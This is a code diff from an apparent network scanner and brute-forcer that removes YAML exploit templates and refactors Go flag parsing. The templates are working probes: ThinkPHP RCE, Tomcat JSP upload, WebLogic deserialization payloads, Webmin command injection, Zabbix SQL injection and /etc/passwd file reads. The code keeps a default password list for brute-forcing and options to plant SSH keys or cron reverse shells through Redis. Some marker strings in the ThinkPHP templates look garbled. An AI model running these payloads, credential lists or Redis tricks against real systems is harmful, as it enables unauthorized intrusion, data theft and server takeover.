-    expression: |
-      response.body.bcontains(b"a29hbHIgaXMg%d2F0Y2hpbmcgeW9129")
-
-detail:
-  links:
-    - https://github.com/vulhub/vulhub/tree/master/thinkphp/5-rce

WebScan/pocs/thinkphp5023-method-rce.yml

@@ -1,13 +0,0 @@
-name: poc-yaml-thinkphp5023-method-rce
-rules:
-  - method: POST
-    path: /index.php?s=captcha
-    headers:
-      Content-Type: application/x-www-form-urlencoded
-    body: |
-      _method=__construct&filter[]=printf&method=GET&server[REQUEST_METHOD]=TmlnaHQgZ2F0aGVycywgYW5%25%25kIG5vdyBteSB3YXRjaCBiZWdpbnMu&get[]=1
-    expression: |
-      response.body.bcontains(b"TmlnaHQgZ2F0aGVycywgYW5%kIG5vdyBteSB3YXRjaCBiZWdpbnMu1")
-detail:
-  links:
-    - https://github.com/vulhub/vulhub/tree/master/thinkphp/5.0.23-rce

WebScan/pocs/tomcat-cve-2017-12615-rce.yml

@@ -1,22 +0,0 @@
-name: poc-yaml-tomcat-cve-2017-12615-rce
-set:
-  filename: randomLowercase(6)
-  verifyStr: randomLowercase(12)
-  commentStr: randomLowercase(12)
-rules:
-  - method: PUT
-    path: '/{{filename}}.jsp/'
-    body: '{{verifyStr}} <%-- {{commentStr}} --%>'
-    follow_redirects: false
-    expression: |
-      response.status == 201
-  - method: GET
-    path: '/{{filename}}.jsp'
-    follow_redirects: false
-    expression: |
-      response.status == 200 && response.body.bcontains(bytes(verifyStr)) && !response.body.bcontains(bytes(commentStr))
-detail:
-  author: j4ckzh0u(https://github.com/j4ckzh0u)
-  links:
-    - https://www.seebug.org/vuldb/ssvid-96562
-    - https://mp.weixin.qq.com/s/sulJSg0Ru138oASiI5cYAA

WebScan/pocs/tomcat-cve-2018-11759.yml

@@ -1,16 +0,0 @@
-name: poc-yaml-tomcat-cve-2018-11759
-rules:
-  - method: GET
-    path: /jkstatus;
-    follow_redirects: false
-    expression: |
-      response.status == 200 && "JK Status Manager".bmatches(response.body) && "Listing Load Balancing Worker".bmatches(response.body)
-  - method: GET
-    path: /jkstatus;?cmd=dump
-    follow_redirects: false
-    expression: |
-      response.status == 200 && "ServerRoot=*".bmatches(response.body)
-detail:
-  author: loneyer
-  links:
-    - https://github.com/immunIT/CVE-2018-11759

WebScan/pocs/tongda-meeting-unauthorized-access.yml

@@ -1,16 +0,0 @@
-name: poc-yaml-tongda-meeting-unauthorized-access
-rules:
-  - method: GET
-    path: >-
-      /general/calendar/arrange/get_cal_list.php?starttime=1548058874&endtime=33165447106&view=agendaDay
-    headers:
-      User-Agent: 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36'
-      Accept-Encoding: 'deflate'
-    follow_redirects: false
-    expression: |
-      response.status == 200 && response.content_type.contains("json") && response.body.bcontains(bytes(string("creator"))) && response.body.bcontains(bytes(string("originalTitle")))
-detail:
-  author: 清风明月(www.secbook.info)
-  influence_version: ' < 通达OA 11.5'
-  links:
-    - https://mp.weixin.qq.com/s/3bI7v-hv4rMUnCIT0GLkJA

WebScan/pocs/ueditor-cnvd-2017-20077-file-upload.yml

@@ -1,17 +0,0 @@
-name: poc-yaml-ueditor-cnvd-2017-20077-file-upload
-rules:
-  - method: GET
-    path: /ueditor/net/controller.ashx?action=catchimage&encode=utf-8
-    headers:
-      Accept-Encoding: 'deflate'
-    follow_redirects: false
-    expression: |
-      response.status == 200 && response.body.bcontains(bytes(string("没有指定抓取源")))
-detail:
-  author: 清风明月(www.secbook.info)
-  influence_version: 'UEditor v1.4.3.3'
-  links:
-    - https://zhuanlan.zhihu.com/p/85265552
-    - https://www.freebuf.com/vuls/181814.html
-  exploit: >-
-    http://localhost/ueditor/net/controller.ashx?action=catchimage&encode=utf-8

WebScan/pocs/weaver-ebridge-file-read-linux.yml

@@ -1,19 +0,0 @@
-name: poc-yaml-weaver-ebridge-file-read-linux
-rules:
-  - method: GET
-    path: "/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt"
-    follow_redirects: false
-    expression: |
-      response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"id")
-    search: |
-      \"id\"\:\"(?P<var>.+?)\"\,
-  - method: GET
-    path: "/file/fileNoLogin/{{var}}"
-    follow_redirects: false
-    expression: |
-      response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
-detail:
-  author: mvhz81
-  info: e-bridge-file-read for Linux
-  links:
-    - https://mrxn.net/Infiltration/323.html

WebScan/pocs/weaver-ebridge-file-read-windows.yml

@@ -1,19 +0,0 @@
-name: poc-yaml-weaver-ebridge-file-read-windows
-rules:
-  - method: GET
-    path: /wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///c://windows/win.ini&fileExt=txt
-    follow_redirects: false
-    expression: |
-      response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"id")
-    search: |
-      \"id\"\:\"(?P<var>.+?)\"\,
-  - method: GET
-    path: /file/fileNoLogin/{{var}}
-    follow_redirects: false
-    expression: |
-      response.status == 200 && (response.body.bcontains(b"for 16-bit app support") || response.body.bcontains(b"[extensions]"))
-detail:
-  author: mvhz81
-  info: e-bridge-file-read for windows
-  links:
-    - https://mrxn.net/Infiltration/323.html

WebScan/pocs/weblogic-cve-2020-14750.yml

@@ -1,12 +0,0 @@
-name: poc-yaml-weblogic-cve-2020-14750
-rules:
-  - method: GET
-    path: /console/images/%252E./console.portal
-    follow_redirects: false
-    expression: |
-      response.status == 302 && (response.body.bcontains(bytes("/console/console.portal")) || response.body.bcontains(bytes("/console/jsp/common/NoJMX.jsp")))
-detail:
-  author: canc3s(https://github.com/canc3s),Soveless(https://github.com/Soveless)
-  weblogic_version: 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
-  links:
-    - https://www.oracle.com/security-alerts/alert-cve-2020-14750.html

WebScan/pocs/weblogic-ssrf.yml

@@ -1,11 +0,0 @@
-name: poc-yaml-weblogic-ssrf
-rules:
-  - method: GET
-    path: >-
-      /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.1.1.1:700
-    headers:
-      Cookie: >-
-        publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|;
-    follow_redirects: false
-    expression: >-
-      response.status == 200 && (response.body.bcontains(b"'127.1.1.1', port: '700'") || response.body.bcontains(b"Socket Closed"))

WebScan/pocs/weblogic-v10-cve-2017-10271.yml

@@ -1,20 +0,0 @@
-name: poc-yaml-weblogic-cve-2017-10271  # nolint[:namematch]
-rules:
-  - method: POST
-    path: /wls-wsat/CoordinatorPortType
-    headers:
-      Content-Type: text/xml
-    body: >-
-      <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><void class="java.lang.Thread" method="currentThread"><void method="getCurrentWork"><void method="getResponse"><void method="getServletOutputStream"><void method="write"><array class="byte" length="9"><void index="0"><byte>50</byte></void><void index="1"><byte>50</byte></void><void index="2"><byte>53</byte></void><void index="3"><byte>55</byte></void><void index="4"><byte>55</byte></void><void index="5"><byte>51</byte></void><void index="6"><byte>48</byte></void><void index="7"><byte>57</byte></void><void index="8"><byte>49</byte></void></array></void><void method="flush"/></void></void></void></void></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope></soapenv:Envelope>
-    follow_redirects: true
-    expression: >
-      response.body.bcontains(b"225773091")
-detail:
-  vulnpath: '/wls-wsat/CoordinatorPortType'
-  author: fnmsd(https://github.com/fnmsd)
-  description: 'Weblogic wls-wsat XMLDecoder deserialization RCE CVE-2017-10271'
-  weblogic_version: '10'
-  links:
-    - https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271
-    - https://github.com/QAX-A-Team/WeblogicEnvironment
-    - https://xz.aliyun.com/t/5299

WebScan/pocs/weblogic-v12-cve-2019-2725.yml

@@ -1,20 +0,0 @@
-name: poc-yaml-weblogic-cve-2019-2725  # nolint[:namematch]
-rules:
-  - method: POST
-    path: /wls-wsat/CoordinatorPortType
-    headers:
-      Content-Type: text/xml
-    body: >-
-      <?xml version="1.0" encoding="utf-8"?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>fff</wsa:Action><wsa:RelatesTo>hello</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><string><class><string>org.slf4j.ext.EventData</string><void><string><![CDATA[<java><void class="java.lang.Thread" method="currentThread"><void method="getCurrentWork" id="current_work"><void method="getClass"><void method="getDeclaredField"><string>connectionHandler</string><void method="setAccessible"><boolean>true</boolean></void><void method="get"><object idref="current_work"/><void method="getServletRequest"><void method="getResponse"><void method="getServletOutputStream"><void method="write"><array class="byte" length="9"><void index="0"><byte>50</byte></void><void index="1"><byte>50</byte></void><void index="2"><byte>53</byte></void><void index="3"><byte>55</byte></void><void index="4"><byte>55</byte></void><void index="5"><byte>51</byte></void><void index="6"><byte>48</byte></void><void index="7"><byte>57</byte></void><void index="8"><byte>49</byte></void></array></void><void method="flush"/></void><void method="getWriter"><void method="write"><string/></void></void></void></void></void></void></void></void></void></java>]]></string></void></class></string></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>
-    follow_redirects: true
-    expression: >
-      response.body.bcontains(b"225773091")
-detail:
-  vulnpath: '/wls-wsat/CoordinatorPortType'
-  author: fnmsd(https://github.com/fnmsd),2357000166(https://github.com/2357000166)
-  description: 'Weblogic wls-wsat XMLDecoder deserialization RCE CVE-2019-2725 + org.slf4j.ext.EventData'
-  weblogic_version: '>12'
-  links:
-    - https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271
-    - https://github.com/QAX-A-Team/WeblogicEnvironment
-    - https://xz.aliyun.com/t/5299

WebScan/pocs/webmin-cve-2019-15107-rce.yml

@@ -1,18 +0,0 @@
-name: poc-yaml-webmin-cve-2019-15107-rce
-set:
-  r1: randomInt(800000000, 1000000000)
-  r2: randomInt(800000000, 1000000000)
-rules:
-  - method: POST
-    path: /password_change.cgi
-    headers:
-      Referer: "{{url}}"
-    body: user=roovt&pam=&expired=2&old=expr%20{{r1}}%20%2b%20{{r2}}&new1=test2&new2=test2
-    follow_redirects: false
-    expression: >
-      response.body.bcontains(bytes(string(r1 + r2)))
-detail:
-  author: danta
-  description: Webmin 远程命令执行漏洞（CVE-2019-15107）
-  links:
-    - https://github.com/vulhub/vulhub/tree/master/webmin/CVE-2019-15107

WebScan/pocs/zabbix-authentication-bypass.yml

@@ -1,11 +0,0 @@
-name: poc-yaml-zabbix-authentication-bypass
-rules:
-  - method: GET
-    path: /zabbix.php?action=dashboard.view&dashboardid=1
-    follow_redirects: false
-    expression: |
-      response.status == 200 && response.body.bcontains(bytes("<a class=\"top-nav-zbbshare\" target=\"_blank\" title=\"Zabbix Share\" href=\"https://share.zabbix.com/\">Share</a>")) && response.body.bcontains(b"<title>Dashboard</title>")
-detail:
-  author: FiveAourThe(https://github.com/FiveAourThe)
-  links:
-    - https://www.exploit-db.com/exploits/47467

WebScan/pocs/zabbix-cve-2016-10134-sqli.yml

@@ -1,14 +0,0 @@
-name: poc-yaml-zabbix-cve-2016-10134-sqli
-set:
-  r: randomInt(2000000000, 2100000000)
-rules:
-  - method: GET
-    path: >-
-      /jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,md5({{r}})),0)
-    follow_redirects: true
-    expression: |
-      response.status == 200 && response.body.bcontains(bytes(substr(md5(string(r)), 0, 31)))
-detail:
-  author: sharecast
-  links:
-    - https://github.com/vulhub/vulhub/tree/master/zabbix/CVE-2016-10134

common/Parse.go

@@ -9,27 +9,29 @@ import (
 	"strings"
 )
 
-func Parse(Info *HostInfo) {
+func Parse(Info *HostInfo){
 	ParseUser(Info)
 	ParsePass(Info)
 	ParseInput(Info)
 	ParseScantype(Info)
 }
 
-func ParseUser(Info *HostInfo) {
-	if Info.Username != "" {
+
+
+func ParseUser(Info *HostInfo){
+	if Info.Username!=""{
 		uesrs := strings.Split(Info.Username, ",")
-		for _, uesr := range uesrs {
-			if uesr != "" {
-				Info.Usernames = append(Info.Usernames, uesr)
+		for _,uesr := range uesrs{
+			if uesr !=""{
+				Info.Usernames = append(Info.Usernames,uesr)
 			}
 		}
-		for name := range Userdict {
+		for name := range Userdict{
 			Userdict[name] = Info.Usernames
 		}
 	}
-	if Userfile != "" {
-		uesrs, err := Readfile(Userfile)
+	if Info.Userfile!=""{
+		uesrs,err := Readfile(Info.Userfile)
 		if err == nil {
 			for _, uesr := range uesrs {
 				if uesr != "" {
@@ -44,22 +46,22 @@ func ParseUser(Info *HostInfo) {
 
 }
 
-func ParsePass(Info *HostInfo) {
-	if Info.Password != "" {
+func ParsePass(Info *HostInfo){
+	if Info.Password!=""{
 		passs := strings.Split(Info.Password, ",")
-		for _, pass := range passs {
-			if pass != "" {
-				Info.Passwords = append(Info.Passwords, pass)
+		for _,pass := range passs{
+			if pass !=""{
+				Info.Passwords = append(Info.Passwords,pass)
 			}
 		}
 		Passwords = Info.Passwords
 	}
-	if Passfile != "" {
-		passs, err := Readfile(Passfile)
-		if err == nil {
-			for _, pass := range passs {
-				if pass != "" {
-					Info.Passwords = append(Info.Passwords, pass)
+	if Info.Passfile!=""{
+		passs,err := Readfile(Info.Passfile)
+		if err == nil{
+			for _,pass := range passs{
+				if pass !=""{
+					Info.Passwords = append(Info.Passwords,pass)
 				}
 			}
 			Passwords = Info.Passwords
@@ -68,10 +70,10 @@ func ParsePass(Info *HostInfo) {
 	}
 }
 
-func Readfile(filename string) ([]string, error) {
+func Readfile(filename string)([]string,error){
 	file, err := os.Open(filename)
-	if err != nil {
-		fmt.Println("Open %s error, %v", filename, err)
+	if err!=nil{
+		fmt.Println("Open %s error, %v", filename,err)
 		os.Exit(0)
 	}
 	defer file.Close()
@@ -81,78 +83,52 @@ func Readfile(filename string) ([]string, error) {
 	for scanner.Scan() {
 		text := strings.TrimSpace(scanner.Text())
 		if text != "" {
-			content = append(content, scanner.Text())
+			content=append(content,scanner.Text())
 		}
 	}
-	return content, nil
+	return content,nil
 }
 
-func ParseInput(Info *HostInfo) {
-	if Info.Host == "" && HostFile == "" {
+
+
+func ParseInput(Info *HostInfo){
+	if Info.Host=="" && Info.HostFile ==""{
 		fmt.Println("Host is none")
 		flag.Usage()
 		os.Exit(0)
 	}
-	//LogErr = Info.Debug
-	if TmpOutputfile != "" {
-		if !strings.Contains(Outputfile, "/") && !strings.Contains(Outputfile, `\`) {
-			Outputfile = getpath() + TmpOutputfile
-		} else {
-			Outputfile = TmpOutputfile
-		}
+	if Info.Outputfile != ""{
+		Outputfile = Info.Outputfile
 	}
-	if TmpSave == true {
+	if Info.IsSave == true{
 		IsSave = false
 	}
 }
 
-func ParseScantype(Info *HostInfo) {
-	_, ok := PORTList[Info.Scantype]
-	if !ok {
+func ParseScantype(Info *HostInfo){
+	_,ok:=PORTList[Info.Scantype]
+	if !ok{
 		fmt.Println("The specified scan type does not exist")
 		fmt.Println("-m")
-		for name := range PORTList {
-			fmt.Println("   [" + name + "]")
+		for name,_:=range PORTList{
+			fmt.Println("   ["+name+"]")
 		}
 		os.Exit(0)
 	}
-	if Info.Scantype != "all" {
-		if Info.Ports == DefaultPorts {
-			switch Info.Scantype {
-			case "webtitle":
-				Info.Ports = "80,81,443,7001,8000,8080,8089,9200"
-			case "ms17010":
-				Info.Ports = "445"
-			case "cve20200796":
-				Info.Ports = "445"
-			case "portscan":
-			default:
-				port, _ := PORTList[Info.Scantype]
-				Info.Ports = strconv.Itoa(port)
-			}
-			fmt.Println("if -m ", Info.Scantype, " only scan the port:", Info.Ports)
+	if Info.Scantype != "all" && Info.Ports != DefaultPorts{
+		ScanPort := ParsePort(Info.Ports)[0]
+		Info.Ports = strconv.Itoa(ScanPort)
+		fmt.Println("if -m and -p only scan the first port:",Info.Ports)
+		for name,_:=range PORTList{
+			PORTList[name] = ScanPort
 		}
 	}
 }
 
-func CheckErr(text string, err error) {
-	if err != nil {
-		fmt.Println(text, err.Error())
+
+func CheckErr(text string,err error){
+	if err!=nil{
+		fmt.Println(text,err.Error())
 		os.Exit(0)
 	}
-}
-
-func getpath() string {
-	filename := os.Args[0]
-	var path string
-	if strings.Contains(filename, "/") {
-		tmp := strings.Split(filename, `/`)
-		tmp[len(tmp)-1] = ``
-		path = strings.Join(tmp, `/`)
-	} else if strings.Contains(filename, `\`) {
-		tmp := strings.Split(filename, `\`)
-		tmp[len(tmp)-1] = ``
-		path = strings.Join(tmp, `\`)
-	}
-	return path
-}
+}

common/ParseIP.go

@@ -55,11 +55,11 @@ func ParseIPs(ip string) (hosts []string, err error) {
 func ParseIPone(ip string) ([]string, error) {
 	reg := regexp.MustCompile(`[a-zA-Z]+`)
 	switch {
-	case strings.Contains(ip[len(ip)-3:], "/24"):
+	case strings.Contains(ip[len(ip)-3:len(ip)], "/24"):
 		return ParseIPA(ip)
-	case strings.Contains(ip[len(ip)-3:], "/16"):
+	case strings.Contains(ip[len(ip)-3:len(ip)], "/16"):
 		return ParseIPD(ip)
-	case strings.Contains(ip[len(ip)-2:], "/8"):
+	case strings.Contains(ip[len(ip)-2:len(ip)], "/8"):
 		return ParseIPE(ip)
 	case strings.Count(ip, "-") == 1:
 		return ParseIPC(ip)
@@ -94,6 +94,19 @@ func ParseIPA(ip string) ([]string, error) {
 	return AllIP, nil
 }
 
+//Resolving multiple IPS, for example: 192.168.111.1,192.168.111.2
+func ParseIPB(ip string) ([]string, error) {
+	IPList := strings.Split(ip, ",")
+	for _, i := range IPList {
+		testIP := net.ParseIP(i)
+		if testIP == nil {
+			return nil, ParseIPErr
+		}
+	}
+	return IPList, nil
+
+}
+
 //Resolving a range of IP,for example: 192.168.111.1-255,192.168.111.1-192.168.112.255
 func ParseIPC(ip string) ([]string, error) {
 	IPRange := strings.Split(ip, "-")
@@ -130,11 +143,11 @@ func ParseIPC(ip string) ([]string, error) {
 			}
 			start[i], end[i] = ip1, ip2
 		}
-		startNum := start[0]<<24 | start[1]<<16 | start[2]<<8 | start[3]
-		endNum := end[0]<<24 | end[1]<<16 | end[2]<<8 | end[3]
+		startNum := (start[0]<<24 | start[1]<<16 | start[2]<<8 | start[3])
+		endNum := (end[0]<<24 | end[1]<<16 | end[2]<<8 | end[3])
 		fmt.Println(startNum, endNum)
 		for num := startNum; num < endNum; num++ {
-			ip := strconv.Itoa((num>>24)&0xff) + "." + strconv.Itoa((num>>16)&0xff) + "." + strconv.Itoa((num>>8)&0xff) + "." + strconv.Itoa((num)&0xff)
+			ip := (strconv.Itoa((num>>24)&0xff) + "." + strconv.Itoa((num>>16)&0xff) + "." + strconv.Itoa((num>>8)&0xff) + "." + strconv.Itoa((num)&0xff))
 			AllIP = append(AllIP, ip)
 		}
 	}

common/config.go

@@ -1,5 +1,6 @@
 package common
 
+//fscan version 1.3
 var Userdict = map[string][]string{
 	"ftp":        {"www", "admin", "root", "db", "wwwroot", "data", "web", "ftp"},
 	"mysql":      {"root"},
@@ -8,6 +9,7 @@ var Userdict = map[string][]string{
 	"postgresql": {"postgres", "admin"},
 	"ssh":        {"root", "admin"},
 	"mongodb":    {"root", "admin"},
+	//"telnet": []string{"administrator","admin","root","cisco","huawei","zte"},
 }
 
 var Passwords = []string{"admin123A", "admin123", "123456", "admin", "root", "password", "123123", "654321", "123", "1", "admin@123", "Admin@123", "{user}", "{user}123", "", "P@ssw0rd!", "qwa123", "12345678", "test", "123qwe!@#", "123456789", "123321", "666666", "fuckyou", "000000", "1234567890", "8888888", "qwerty", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "Aa123456", "sysadmin", "system", "huawei"}
@@ -28,11 +30,9 @@ var PORTList = map[string]int{
 	"elastic":     9200,
 	"findnet":     135,
 	"all":         0,
-	"portscan":    0,
-	"icmp":        0,
 }
 
-var PortlistBack = map[string]int{
+var PORTList_bak = map[string]int{
 	"ftp":         21,
 	"ssh":         22,
 	"mem":         11211,
@@ -48,28 +48,39 @@ var PortlistBack = map[string]int{
 	"elastic":     9200,
 	"findnet":     135,
 	"all":         0,
-	"portscan":    0,
-	"icmp":        0,
 }
 
-var Outputfile = getpath() + "result.txt"
+var Outputfile = "result.txt"
 var IsSave = true
 
-var DefaultPorts = "21,22,80,81,135,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9200,11211,27017"
+var DefaultPorts = "21,22,80,81,135,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,11211,27017"
 
 type HostInfo struct {
-	Host       string
-	Ports      string
-	Domain     string
-	Url        string
-	Timeout    int64
-	WebTimeout int64
-	Scantype   string
-	Command    string
-	Username   string
-	Password   string
-	Usernames  []string
-	Passwords  []string
+	Host        string
+	HostFile    string
+	Ports       string
+	Domain      string
+	Url         string
+	Timeout     int64
+	WebTimeout  int64
+	Scantype    string
+	Ping        bool
+	Isping      bool
+	Threads     int
+	IcmpThreads int
+	Command     string
+	Username    string
+	Password    string
+	Userfile    string
+	Passfile    string
+	Usernames   []string
+	Passwords   []string
+	Outputfile  string
+	IsSave      bool
+	RedisFile   string
+	RedisShell  string
+	IsWebCan    bool
+	PocInfo     PocInfo
 }
 
 type PocInfo struct {
@@ -87,16 +98,3 @@ type PocInfo struct {
 	ApiKey     string
 	CeyeDomain string
 }
-
-var TmpOutputfile string
-var TmpSave bool
-var IsPing bool
-var Ping bool
-var Pocinfo PocInfo
-var IsWebCan bool
-var RedisFile string
-var RedisShell string
-var Userfile string
-var Passfile string
-var HostFile string
-var Threads int

common/flag.go

@@ -6,12 +6,12 @@ import (
 
 func Banner() {
 	banner := `
+
    ___                              _    
-  / _ \     ___  ___ _ __ __ _  ___| | __ 
+  / _ \     ___  ___ _ __ __ _  ___| | __
  / /_\/____/ __|/ __| '__/ _` + "`" + ` |/ __| |/ /
-/ /_\\_____\__ \ (__| | | (_| | (__|   <    
-\____/     |___/\___|_|  \__,_|\___|_|\_\   
-                     fscan version: 1.5.0
+/ /_\\_____\__ \ (__| | | (_| | (__|   <
+\____/     |___/\___|_|  \__,_|\___|_|\_\
 `
 	print(banner)
 }
@@ -19,29 +19,29 @@ func Banner() {
 func Flag(Info *HostInfo) {
 	Banner()
 	flag.StringVar(&Info.Host, "h", "", "IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12")
+	flag.StringVar(&Info.HostFile, "hf", "", "host file, -hs ip.txt")
 	flag.StringVar(&Info.Ports, "p", DefaultPorts, "Select a port,for example: 22 | 1-65535 | 22,80,3306")
 	flag.StringVar(&Info.Command, "c", "", "exec command (ssh)")
+	flag.IntVar(&Info.Threads, "t", 200, "Thread nums")
+	flag.IntVar(&Info.IcmpThreads, "it", 11000, "Icmp Threads nums")
+	flag.BoolVar(&Info.Isping, "np", false, "not to ping")
+	flag.BoolVar(&Info.Ping, "ping", false, "using ping replace icmp")
+	flag.BoolVar(&Info.IsSave, "no", false, "not to save output log")
 	flag.StringVar(&Info.Domain, "domain", "", "smb domain")
 	flag.StringVar(&Info.Username, "user", "", "username")
+	flag.StringVar(&Info.Userfile, "userf", "", "username file")
 	flag.StringVar(&Info.Password, "pwd", "", "password")
+	flag.StringVar(&Info.Passfile, "pwdf", "", "password file")
+	flag.StringVar(&Info.Outputfile, "o", "result.txt", "Outputfile")
 	flag.Int64Var(&Info.Timeout, "time", 3, "Set timeout")
 	flag.Int64Var(&Info.WebTimeout, "wt", 3, "Set web timeout")
 	flag.StringVar(&Info.Scantype, "m", "all", "Select scan type ,as: -m ssh")
+	flag.StringVar(&Info.RedisFile, "rf", "", "redis file to write sshkey file (as: -rf id_rsa.pub) ")
+	flag.StringVar(&Info.RedisShell, "rs", "", "redis shell to write cron file (as: -rs 192.168.1.1:6666) ")
 
-	flag.IntVar(&Threads, "t", 200, "Thread nums")
-	flag.StringVar(&HostFile, "hf", "", "host file, -hs ip.txt")
-	flag.StringVar(&Userfile, "userf", "", "username file")
-	flag.StringVar(&Passfile, "pwdf", "", "password file")
-	flag.StringVar(&RedisFile, "rf", "", "redis file to write sshkey file (as: -rf id_rsa.pub) ")
-	flag.StringVar(&RedisShell, "rs", "", "redis shell to write cron file (as: -rs 192.168.1.1:6666) ")
-	flag.BoolVar(&IsWebCan, "nopoc", false, "not to scan web vul")
-	flag.BoolVar(&IsPing, "np", false, "not to ping")
-	flag.BoolVar(&Ping, "ping", false, "using ping replace icmp")
-	flag.StringVar(&TmpOutputfile, "o", "result.txt", "Outputfile")
-	flag.BoolVar(&TmpSave, "no", false, "not to save output log")
-	flag.BoolVar(&LogErr, "debug", false, "debug mode will print more error info")
-	flag.StringVar(&Pocinfo.PocName, "pocname", "", "use the pocs these contain pocname, -pocname weblogic")
-	flag.StringVar(&Pocinfo.Proxy, "proxy", "", "set poc proxy, -proxy http://127.0.0.1:8080")
-	flag.IntVar(&Pocinfo.Num, "Num", 20, "poc rate")
+	flag.BoolVar(&Info.IsWebCan, "nopoc", false, "not to scan web vul")
+	flag.StringVar(&Info.PocInfo.PocName, "pocname", "", "use the pocs these contain pocname, -pocname weblogic")
+	flag.StringVar(&Info.PocInfo.Proxy, "proxy", "", "set poc proxy, -proxy http://127.0.0.1:8080")
+	flag.IntVar(&Info.PocInfo.Num, "Num", 20, "poc rate")
 	flag.Parse()
 }

common/log.go

@@ -3,64 +3,48 @@ package common
 import (
 	"fmt"
 	"os"
-	"time"
+	"sync"
 )
 
-var Results = make(chan string)
-var Woker = 0
-var Start = true
-var LogSucTime int64
-var LogErr bool
-var LogErrTime int64
-
-func LogSuccess(result string) {
-	Woker++
-	LogSucTime = time.Now().Unix()
-	if Start {
-		go SaveLog()
-		Start = false
+func LogSuccess(result string){
+	mutex := &sync.Mutex{}
+	mutex.Lock()
+	fmt.Println(result)
+	if IsSave {
+		WriteFile(result,Outputfile)
 	}
-	Results <- result
+	mutex.Unlock()
 }
-
-func SaveLog() {
-	for result := range Results {
-		fmt.Println(result)
-		if IsSave {
-			WriteFile(result, Outputfile)
-		}
-		Woker--
-	}
-}
-
-func WriteFile(result string, filename string) {
-	var text = []byte(result + "\n")
-	fl, err := os.OpenFile(filename, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0777)
+func WriteFile(result string,filename string)  {
+	var text = []byte(result+"\n")
+	fl, err := os.OpenFile(filename, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0777)
 	if err != nil {
-		fmt.Println("Open %s error, %v", filename, err)
+		fmt.Println(err)
 		return
 	}
+	defer fl.Close()
 	_, err = fl.Write(text)
-	fl.Close()
-	if err != nil {
-		fmt.Println("write %s error, %v", filename, err)
-	}
-}
-
-func WaitSave() {
-	for {
-		if Woker == 0 {
-			close(Results)
-			return
-		}
-	}
-}
-
-func LogError(errinfo interface{}) {
-	if LogErr {
-		if (time.Now().Unix()-LogSucTime) > 10 && (time.Now().Unix()-LogErrTime) > 10 {
-			fmt.Println(errinfo)
-			LogErrTime = time.Now().Unix()
-		}
+	if err!= nil{
+		fmt.Println(err)
 	}
 }
+//err := ioutil.WriteFile(filename, text, 0666)
+//if err!= nil{
+//	fmt.Println(err)
+//}
+//var f *os.File
+//var err error
+//if checkFileIsExist(filename) { //如果文件存在
+//	f, err = os.OpenFile(filename, os.O_APPEND, 0666) //打开文件
+//	fmt.Println("文件存在")
+//} else {
+//	f, err = os.Create(filename) //创建文件
+//	fmt.Println("文件不存在")
+//}
+//func checkFileIsExist(filename string) bool {
+//	var exist = true
+//	if _, err := os.Stat(filename); os.IsNotExist(err) {
+//		exist = false
+//	}
+//	return exist
+//}

main.go

@@ -1,6 +1,7 @@
 package main
 
 import (
+	"fmt"
 	"github.com/shadow1ng/fscan/Plugins"
 	"github.com/shadow1ng/fscan/common"
 )
@@ -10,5 +11,5 @@ func main() {
 	common.Flag(&Info)
 	common.Parse(&Info)
 	Plugins.Scan(Info)
-	print("scan end\n")
+	fmt.Println("scan end")
 }